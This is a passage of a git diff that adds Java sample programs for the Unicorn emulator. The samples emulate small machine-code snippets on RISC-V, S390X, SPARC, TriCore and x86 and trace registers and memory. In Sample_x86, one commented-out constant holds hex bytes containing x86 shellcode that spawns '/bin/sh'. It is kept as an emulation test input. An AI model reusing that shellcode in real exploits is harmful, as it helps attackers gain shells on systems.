crashes without running into the + // timeout... + uc.mem_write(ADDRESS, new byte[8]); + + // initialize machine registers + uc.reg_write(UC_RISCV_REG_A0, a0); + uc.reg_write(UC_RISCV_REG_A1, a1); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction + uc.hook_add(hook_code, 1, 0, null); + + // emulate 1 instruction with timeout + uc.emu_start(ADDRESS, ADDRESS + 4, 1000, 1); + pc = uc.reg_read(UC_RISCV_REG_PC); + + if (pc != 0x10000) { + System.out.format( + "Error after step: PC is: 0x%x, expected was 0x10004\n", pc); + } + + // emulate 1 instruction with timeout + uc.emu_start(ADDRESS, ADDRESS + 4, 1000, 1); + pc = uc.reg_read(UC_RISCV_REG_PC); + + if (pc != 0x10000) { + System.out.format( + "Error after step: PC is: 0x%x, expected was 0x10004\n", pc); + } + + // now print out some registers + System.out.println(">>> Emulation done"); + } + + public static void test_riscv_sd64() { + long reg; + + System.out.println("Emulate RISCV code: sd64 instruction"); + + // Initialize emulator in RISCV64 mode + Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV64); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, CODE64); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction + uc.hook_add(hook_code, 1, 0, null); + + reg = ADDRESS + 0x100; + uc.reg_write(UC_RISCV_REG_SP, reg); + + reg = 0x11223344; + uc.reg_write(UC_RISCV_REG_S0, reg); + + // execute instruction + uc.emu_start(0x10000, -1, 0, 1); + + // now print out some registers + System.out.println(">>> Emulation done."); + } + + private static final EventMemHook hook_memalloc = + (uc, type, address, size, value, user_data) -> { + long aligned_address = address & ~0xFFFL; + int aligned_size = ((int) (size / 0x1000) + 1) * 0x1000; + + System.out.format( + ">>> Allocating block at 0x%x (0x%x), block size = 0x%x (0x%x)\n", + address, aligned_address, size, aligned_size); + + uc.mem_map(aligned_address, aligned_size, UC_PROT_ALL); + + // this recovers from missing memory, so we return true + return true; + }; + + public static void test_recover_from_illegal() { + long a0 = 0x1234L; + long a1 = 0x7890L; + + System.out.println("Emulate RISCV code: recover_from_illegal"); + + // Initialize emulator in RISCV64 mode + Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV64); + + uc.reg_write(UC_RISCV_REG_A0, a0); + uc.reg_write(UC_RISCV_REG_A1, a1); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // auto-allocate memory on access + uc.hook_add(hook_memalloc, UC_HOOK_MEM_UNMAPPED, 1, 0, null); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction + uc.hook_add(hook_code, 1, 0, null); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, CODE); + + // emulate 1 instruction, wrong address, illegal code + try { + uc.emu_start(0x1000, -1, 0, 1); + throw new RuntimeException("emu_start should have failed!"); + } catch (UnicornException e) { + System.out.println("Expected Illegal Instruction error, got: " + e); + } + + // emulate 1 instruction, correct address, valid code + uc.emu_start(ADDRESS, -1, 0, 1); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> A0 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A0)); + System.out.format(">>> A1 = 0x%x\n", uc.reg_read(UC_RISCV_REG_A1)); + } + + public static void test_riscv_func_return() { + long pc = 0, ra = 0; + + System.out.println("Emulate RISCV code: return from func"); + + // Initialize emulator in RISCV64 mode + Unicorn uc = new Unicorn(UC_ARCH_RISCV, UC_MODE_RISCV64); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, FUNC_CODE); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction + uc.hook_add(hook_code, 1, 0, null); + + // set return address register + // RET instruction will return to address in RA + // so after RET, PC == RA + ra = 0x10006; + uc.reg_write(UC_RISCV_REG_RA, ra); + + // execute ret instruction + uc.emu_start(0x10000, -1, 0, 1); + + pc = uc.reg_read(UC_RISCV_REG_PC); + if (pc != ra) { + System.out.format( + "Error after execution: PC is: 0x%x, expected was 0x%x\n", + pc, ra); + if (pc == 0x10000) { + System.out.println(" PC did not change during execution"); + } + } else { + System.out.println("Good, PC == RA"); + } + + // set return address register + // C.RET instruction will return to address in RA + // so after C.RET, PC == RA + ra = 0x10006; + uc.reg_write(UC_RISCV_REG_RA, ra); + + System.out.println("========"); + // execute c.ret instruction + uc.emu_start(0x10004, -1, 0, 1); + + pc = uc.reg_read(UC_RISCV_REG_PC); + if (pc != ra) { + System.out.format( + "Error after execution: PC is: 0x%x, expected was 0x%x\n", + pc, ra); + if (pc == 0x10004) { + System.out.println(" PC did not change during execution"); + } + } else { + System.out.println("Good, PC == RA"); + } + + // now print out some registers + System.out.println(">>> Emulation done."); + } + + public static final void main(String[] args) { + test_recover_from_illegal(); + + System.out.println("------------------"); + test_riscv(); + + System.out.println("------------------"); + test_riscv2(); + + System.out.println("------------------"); + test_riscv3(); + + System.out.println("------------------"); + test_riscv_step(); + + // System.out.println("------------------"); + // test_riscv_timeout(); + + System.out.println("------------------"); + test_riscv_sd64(); + + System.out.println("------------------"); + test_riscv_func_return(); + } +} diff --git a/bindings/java/src/test/java/samples/Sample_s390x.java b/bindings/java/src/test/java/samples/Sample_s390x.java new file mode 100644 index 0000000000..66c9dd171d --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_s390x.java @@ -0,0 +1,88 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Sample code to demonstrate how to emulate S390X code */ + +package samples; + +import unicorn.*; + +public class Sample_s390x implements UnicornConst, S390xConst { + /** code to be emulated: + * {@code lr %r2, %r3} + */ + private static final byte[] CODE = Utils.hexToBytes("1823"); + + // memory address where emulation starts + private static final long ADDRESS = 0x10000; + + private static final BlockHook hook_block = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", + address, size); + }; + + private static final CodeHook hook_code = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + }; + + public static void test_s390x() { + long r2 = 2, r3 = 3; + + System.out.println("Emulate S390X code"); + + Unicorn uc = new Unicorn(UC_ARCH_S390X, UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, CODE); + + // initialize machine registers + uc.reg_write(UC_S390X_REG_R2, r2); + uc.reg_write(UC_S390X_REG_R3, r3); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + uc.hook_add(hook_code, ADDRESS, ADDRESS + CODE.length, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> R2 = 0x%x\t\t>>> R3 = 0x%x\n", + uc.reg_read(UC_S390X_REG_R2), uc.reg_read(UC_S390X_REG_R3)); + } + + public static final void main(String[] args) { + test_s390x(); + } +} diff --git a/bindings/java/src/test/java/samples/Sample_sparc.java b/bindings/java/src/test/java/samples/Sample_sparc.java new file mode 100644 index 0000000000..43f01af735 --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_sparc.java @@ -0,0 +1,95 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh, 2015 */ + +/* Sample code to demonstrate how to emulate Sparc code */ + +package samples; + +import unicorn.*; + +public class Sample_sparc implements UnicornConst, SparcConst { + + /** code to be emulated: + * {@code add %g1, %g2, %g3} + */ + private static final byte[] SPARC_CODE = Utils.hexToBytes("86004002"); + //public static final byte[] SPARC_CODE = Utils.hexToBytes("bb700000"); //illegal code + + // memory address where emulation starts + private static final int ADDRESS = 0x10000; + + private static final BlockHook hook_block = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", + address, size); + }; + + private static final CodeHook hook_code = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + }; + + public static void test_sparc() { + long g1 = 0x1230L; // G1 register + long g2 = 0x6789L; // G2 register + long g3 = 0x5555L; // G3 register + + System.out.print("Emulate SPARC code\n"); + + // Initialize emulator in Sparc mode + Unicorn u = new Unicorn(UC_ARCH_SPARC, UC_MODE_32 | UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, SPARC_CODE); + + // initialize machine registers + u.reg_write(UC_SPARC_REG_G1, g1); + u.reg_write(UC_SPARC_REG_G2, g2); + u.reg_write(UC_SPARC_REG_G3, g3); + + // tracing all basic blocks with customized callback + u.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(hook_code, ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + SPARC_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + System.out.format(">>> G3 = 0x%x\n", u.reg_read(UC_SPARC_REG_G3)); + } + + public static void main(String args[]) { + test_sparc(); + } +} diff --git a/bindings/java/src/test/java/samples/Sample_tricore.java b/bindings/java/src/test/java/samples/Sample_tricore.java new file mode 100644 index 0000000000..6a67a8da48 --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_tricore.java @@ -0,0 +1,84 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2023 Robert Xiao + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Sample code to demonstrate how to emulate TriCore code + * Ported from the C version originally by Eric Poole , 2022 + */ + +package samples; + +import unicorn.*; + +public class Sample_tricore implements UnicornConst, TriCoreConst { + /** code to be emulated: + * {@code mov d1, #0x1; mov.u d0, #0x8000} + */ + private static final byte[] CODE = Utils.hexToBytes("8211bb000008"); + + // memory address where emulation starts + private static final long ADDRESS = 0x10000; + + private static final BlockHook hook_block = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", + address, size); + }; + + private static final CodeHook hook_code = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + }; + + public static void test_tricore() { + System.out.println("Emulate TriCore code"); + + Unicorn uc = new Unicorn(UC_ARCH_TRICORE, UC_MODE_LITTLE_ENDIAN); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, CODE); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + uc.hook_add(hook_code, ADDRESS, ADDRESS + CODE.length, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(ADDRESS, ADDRESS + CODE.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> d0 = 0x%x\n", uc.reg_read(UC_TRICORE_REG_D0)); + System.out.format(">>> d1 = 0x%x\n", uc.reg_read(UC_TRICORE_REG_D1)); + } + + public static final void main(String[] args) { + test_tricore(); + } +} diff --git a/bindings/java/src/test/java/samples/Sample_x86.java b/bindings/java/src/test/java/samples/Sample_x86.java new file mode 100644 index 0000000000..5870a66dcc --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_x86.java @@ -0,0 +1,1060 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh & Dang Hoang Vu, 2015 */ + +/* Sample code to demonstrate how to emulate X86 code */ + +package samples; + +import java.math.BigInteger; +import java.nio.ByteBuffer; + +import unicorn.*; + +public class Sample_x86 implements UnicornConst, X86Const { + + /** code to be emulated + * {@code INC ecx; DEC edx; PXOR xmm0, xmm1} + */ + private static final byte[] X86_CODE32 = Utils.hexToBytes("414a660fefc1"); + /** code to be emulated + * {@code jmp 4; nop; nop; nop; nop; nop; nop} + */ + private static final byte[] X86_CODE32_JUMP = + Utils.hexToBytes("eb02909090909090"); + // private static final byte[] X86_CODE32_SELF = Utils.hexToBytes("eb1c5a89d68b02663dca7d7506660503038902fec23d4141414175e9ffe6e8dfffffff31d26a0b589952682f2f7368682f62696e89e3525389e1ca7d41414141"); + + /** code to be emulated + * {@code PUSH ecx; PUSH ecx; PUSH ecx; PUSH ecx} + */ + // private static final byte[] X86_CODE32 = Utils.hexToBytes("51515151"); + + /** code to be emulated + * {@code INC ecx; DEC edx; self_loop: JMP self_loop} + */ + private static final byte[] X86_CODE32_LOOP = Utils.hexToBytes("414aebfe"); + + /** code to be emulated + * {@code mov [0xaaaaaaaa], ecx; INC ecx; DEC edx} + */ + private static final byte[] X86_CODE32_MEM_WRITE = + Utils.hexToBytes("890DAAAAAAAA414a"); + + /** code to be emulated + * {@code mov ecx, [0xaaaaaaaa]; INC ecx; DEC edx} + */ + private static final byte[] X86_CODE32_MEM_READ = + Utils.hexToBytes("8B0DAAAAAAAA414a"); + + /** code to be emulated + * {@code inc eax; mov ebx, [0x100000]; inc edx} + */ + private static final byte[] X86_CODE32_MEM_READ_IN_TB = + Utils.hexToBytes("408b1d0000100042"); + + /** code to be emulated + * {@code JMP outside; INC ecx; DEC edx} + */ + private static final byte[] X86_CODE32_JMP_INVALID = + Utils.hexToBytes("e9e9eeeeee414a"); + + /** code to be emulated + * {@code INC ecx; IN AL, 0x3f; DEC edx; OUT 0x46, AL; INC ebx} + */ + private static final byte[] X86_CODE32_INOUT = + Utils.hexToBytes("41E43F4aE64643"); + + /** code to be emulated + * {@code INC eax} + */ + private static final byte[] X86_CODE32_INC = Utils.hexToBytes("40"); + + //private static final byte[] X86_CODE64 = Utils.hexToBytes("41BC3BB0282A490FC9904D0FADCF4987FD904881D28ACE773548F7D9"); // <== still crash + /** code to be emulated */ + private static final byte[] X86_CODE64 = + Utils.hexToBytes("41BC3BB0282A490FC9904D0FADCF4987FD90" + + "4881D28ACE773548F7D94D29F44981C9F68A" + + "C6534D87ED480FADD249F7D448F7E14D19C5" + + "4D89C548F7D641B84F8D6B594D87D0686A1E" + + "093C59"); + /** code to be emulated + * {@code add byte ptr [bx + si], al} + */ + private static final byte[] X86_CODE16 = Utils.hexToBytes("0000"); + /** code to be emulated + * {@code syscall} + */ + private static final byte[] X86_CODE64_SYSCALL = Utils.hexToBytes("0f05"); + /** code to be emulated + * {@code mov [0x20004], ecx; mov ecx, [0x20004]} + */ + private static final byte[] X86_MMIO_CODE = + Utils.hexToBytes("890d040002008b0d04000200"); + /** code to be emulated + *
+     * 0x1000 xor dword ptr [edi+0x3], eax ; edi=0x1000, eax=0xbc4177e6
+     * 0x1003 dw 0x3ea98b13
+     * 
+ */ + private static final byte[] X86_CODE32_SMC = + Utils.hexToBytes("314703138ba93e"); + + /** memory address where emulation starts */ + public static final int ADDRESS = 0x1000000; + + private static final BlockHook hook_block = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", + address, size); + }; + + private static final CodeHook hook_code = + (uc, address, size, user_data) -> { + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + + long eflags = uc.reg_read(UC_X86_REG_EFLAGS); + System.out.format(">>> --- EFLAGS is 0x%x\n", eflags); + + // Uncomment below code to stop the emulation using uc_emu_stop() + // if (address == 0x1000009) + // uc.emu_stop(); + }; + + private static final CodeHook hook_code64 = + (uc, address, size, user_data) -> { + long rip = uc.reg_read(UC_X86_REG_RIP); + System.out.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + System.out.format(">>> RIP is 0x%x\n", rip); + }; + + private static final EventMemHook hook_mem_invalid = + (uc, type, address, size, value, user) -> { + switch (type) { + default: + // return false to indicate we want to stop emulation + return false; + case UC_MEM_WRITE_UNMAPPED: + System.out.printf( + ">>> Missing memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", + address, size, value); + // map this memory in with 2MB in size + uc.mem_map(0xaaaa0000L, 2 * 1024 * 1024, UC_PROT_ALL); + // return true to indicate we want to continue + return true; + } + }; + + private static final MemHook hook_mem64 = + (uc, type, address, size, value, user_data) -> { + switch (type) { + default: + break; + case UC_MEM_READ: + System.out.format( + ">>> Memory is being READ at 0x%x, data size = %d\n", + address, size); + break; + case UC_MEM_WRITE: + System.out.format( + ">>> Memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", + address, size, value); + break; + } + }; + + // callback for IN instruction (X86). + // this returns the data read from the port + private static final InHook hook_in = (uc, port, size, user) -> { + long r_eip = uc.reg_read(UC_X86_REG_EIP); + + System.out.printf( + "--- reading from port 0x%x, size: %d, address: 0x%x\n", port, + size, r_eip); + + switch (size) { + case 1: + // read 1 byte to AL + return 0xf1; + case 2: + // read 2 byte to AX + return 0xf2; + case 4: + // read 4 byte to EAX + return 0xf4; + } + return 0; + }; + + // callback for OUT instruction (X86). + private static final OutHook hook_out = (uc, port, size, value, user) -> { + long eip = uc.reg_read(UC_X86_REG_EIP); + long tmp = 0; + System.out.printf( + "--- writing to port 0x%x, size: %d, value: 0x%x, address: 0x%x\n", + port, size, value, eip); + + // confirm that value is indeed the value of AL/AX/EAX + switch (size) { + default: + return; // should never reach this + case 1: + tmp = uc.reg_read(UC_X86_REG_AL); + break; + case 2: + tmp = uc.reg_read(UC_X86_REG_AX); + break; + case 4: + tmp = uc.reg_read(UC_X86_REG_EAX); + break; + } + + System.out.printf("--- register value = 0x%x\n", tmp); + }; + + // callback for SYSCALL instruction (X86). + private static final SyscallHook hook_syscall = (uc, user_data) -> { + long rax = uc.reg_read(UC_X86_REG_RAX); + if (rax == 0x100) { + rax = 0x200; + uc.reg_write(UC_X86_REG_RAX, rax); + } else { + System.out.format("ERROR: was not expecting rax=0x%x in syscall\n", + rax); + } + }; + + private static final EventMemHook hook_memalloc = + (uc, type, address, size, value, user_data) -> { + long aligned_address = address & ~(0xFFFL); + int aligned_size = ((int) (size / 0x1000) + 1) * 0x1000; + + System.out.format( + ">>> Allocating block at 0x%x (0x%x), block size = 0x%x (0x%x)\n", + address, aligned_address, size, aligned_size); + + uc.mem_map(aligned_address, aligned_size, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(aligned_address, X86_CODE32); + + // this recovers from missing memory, so we return true + return true; + }; + + public static void test_miss_code() { + int r_ecx = 0x1234; // ECX register + int r_edx = 0x7890; // EDX register + + System.out.println("Emulate i386 code - missing code"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // initialize machine registers + uc.reg_write(UC_X86_REG_ECX, r_ecx); + uc.reg_write(UC_X86_REG_EDX, r_edx); + + // tracing all instruction by having @begin > @end + uc.hook_add(hook_code, 1, 0, null); + + // auto-allocate memory on access + uc.hook_add(hook_memalloc, UC_HOOK_MEM_UNMAPPED, 1, 0, null); + + // emulate machine code, without having the code in yet + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> ECX = 0x%x\n", uc.reg_read(UC_X86_REG_ECX)); + System.out.format(">>> EDX = 0x%x\n", uc.reg_read(UC_X86_REG_EDX)); + } + + public static void test_i386() { + int tmp; + long r_ecx = 0x1234; // ECX register + long r_edx = 0x7890; // EDX register + // XMM0 and XMM1 registers, low qword then high qword + BigInteger r_xmm0 = + new BigInteger("000102030405060708090a0b0c0d0e0f", 16); + BigInteger r_xmm1 = + new BigInteger("00102030405060708090a0b0c0d0e0f0", 16); + + System.out.println("Emulate i386 code"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE32); + + // initialize machine registers + uc.reg_write(UC_X86_REG_ECX, r_ecx); + uc.reg_write(UC_X86_REG_EDX, r_edx); + uc.reg_write(UC_X86_REG_XMM0, r_xmm0); + uc.reg_write(UC_X86_REG_XMM1, r_xmm1); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction by having @begin > @end + uc.hook_add(hook_code, 1, 0, null); + + // emulate machine code in infinite time + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + r_ecx = uc.reg_read(UC_X86_REG_ECX); + r_edx = uc.reg_read(UC_X86_REG_EDX); + r_xmm0 = (BigInteger) uc.reg_read(UC_X86_REG_XMM0, null); + System.out.format(">>> ECX = 0x%x\n", r_ecx); + System.out.format(">>> EDX = 0x%x\n", r_edx); + String xmm0_string = + String.format("%32s", r_xmm0.toString(16)).replace(' ', '0'); + System.out.format(">>> XMM0 = 0x%s\n", xmm0_string); + + // read from memory + tmp = Utils.toInt(uc.mem_read(ADDRESS, 4)); + System.out.format(">>> Read 4 bytes from [0x%x] = 0x%x\n", ADDRESS, + tmp); + } + + public static void test_i386_map_ptr() { + int tmp; + int r_ecx = 0x1234; // ECX register + int r_edx = 0x7890; // EDX register + + System.out.println("Emulate i386 code - use uc_mem_map_ptr()"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // malloc 2MB memory for this emulation + ByteBuffer mem = ByteBuffer.allocateDirect(2 * 1024 * 1024); + uc.mem_map_ptr(ADDRESS, mem, UC_PROT_ALL); + mem.put(X86_CODE32); + + // initialize machine registers + uc.reg_write(UC_X86_REG_ECX, r_ecx); + uc.reg_write(UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction by having @begin > @end + uc.hook_add(hook_code, 1, 0, null); + + // emulate machine code in infinite time + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> ECX = 0x%x\n", uc.reg_read(UC_X86_REG_ECX)); + System.out.format(">>> EDX = 0x%x\n", uc.reg_read(UC_X86_REG_EDX)); + + // read from memory + tmp = Utils.toInt(uc.mem_read(ADDRESS, 4)); + System.out.format(">>> Read 4 bytes from [0x%x] = 0x%x\n", ADDRESS, + tmp); + } + + public static void test_i386_jump() { + System.out.println("Emulate i386 code with jump"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE32_JUMP); + + // tracing 1 basic block with customized callback + uc.hook_add(hook_block, ADDRESS, ADDRESS, null); + + // tracing 1 instruction at ADDRESS + uc.hook_add(hook_code, ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32_JUMP.length, 0, 0); + + System.out.println(">>> Emulation done. Below is the CPU context"); + } + + // emulate code that loop forever + public static void test_i386_loop() { + int r_ecx = 0x1234; // ECX register + int r_edx = 0x7890; // EDX register + + System.out.println("Emulate i386 code that loop forever"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE32_LOOP); + + // initialize machine registers + uc.reg_write(UC_X86_REG_ECX, r_ecx); + uc.reg_write(UC_X86_REG_EDX, r_edx); + + // emulate machine code in 2 seconds, so we can quit even + // if the code loops + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32_LOOP.length, + 2 * UC_SECOND_SCALE, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> ECX = 0x%x\n", uc.reg_read(UC_X86_REG_ECX)); + System.out.format(">>> EDX = 0x%x\n", uc.reg_read(UC_X86_REG_EDX)); + } + + // emulate code that read invalid memory + public static void test_i386_invalid_mem_read() { + int r_ecx = 0x1234; // ECX register + int r_edx = 0x7890; // EDX register + + System.out.println("Emulate i386 code that read from invalid memory"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE32_MEM_READ); + + // initialize machine registers + uc.reg_write(UC_X86_REG_ECX, r_ecx); + uc.reg_write(UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction by having @begin > @end + uc.hook_add(hook_code, 1, 0, null); + + // emulate machine code in infinite time + try { + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0); + throw new RuntimeException("Expected a crash!"); + } catch (UnicornException e) { + System.out.println("uc.emu_start failed as expected: " + e); + } + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> ECX = 0x%x\n", uc.reg_read(UC_X86_REG_ECX)); + System.out.format(">>> EDX = 0x%x\n", uc.reg_read(UC_X86_REG_EDX)); + } + + // emulate code that write invalid memory + public static void test_i386_invalid_mem_write() { + int r_ecx = 0x1234; // ECX register + int r_edx = 0x7890; // EDX register + int tmp; + + System.out.println("Emulate i386 code that write to invalid memory"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE32_MEM_WRITE); + + // initialize machine registers + uc.reg_write(UC_X86_REG_ECX, r_ecx); + uc.reg_write(UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instruction by having @begin > @end + uc.hook_add(hook_code, 1, 0, null); + + // intercept invalid memory events + uc.hook_add(hook_mem_invalid, + UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, + 1, 0, null); + + // emulate machine code in infinite time + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> ECX = 0x%x\n", uc.reg_read(UC_X86_REG_ECX)); + System.out.format(">>> EDX = 0x%x\n", uc.reg_read(UC_X86_REG_EDX)); + + // read from memory + tmp = Utils.toInt(uc.mem_read(0xaaaaaaaaL, 4)); + System.out.format(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xaaaaaaaa, + tmp); + + try { + tmp = Utils.toInt(uc.mem_read(0xffffffaaL, 4)); + throw new RuntimeException("Expected mem_read to fail"); + } catch (UnicornException e) { + 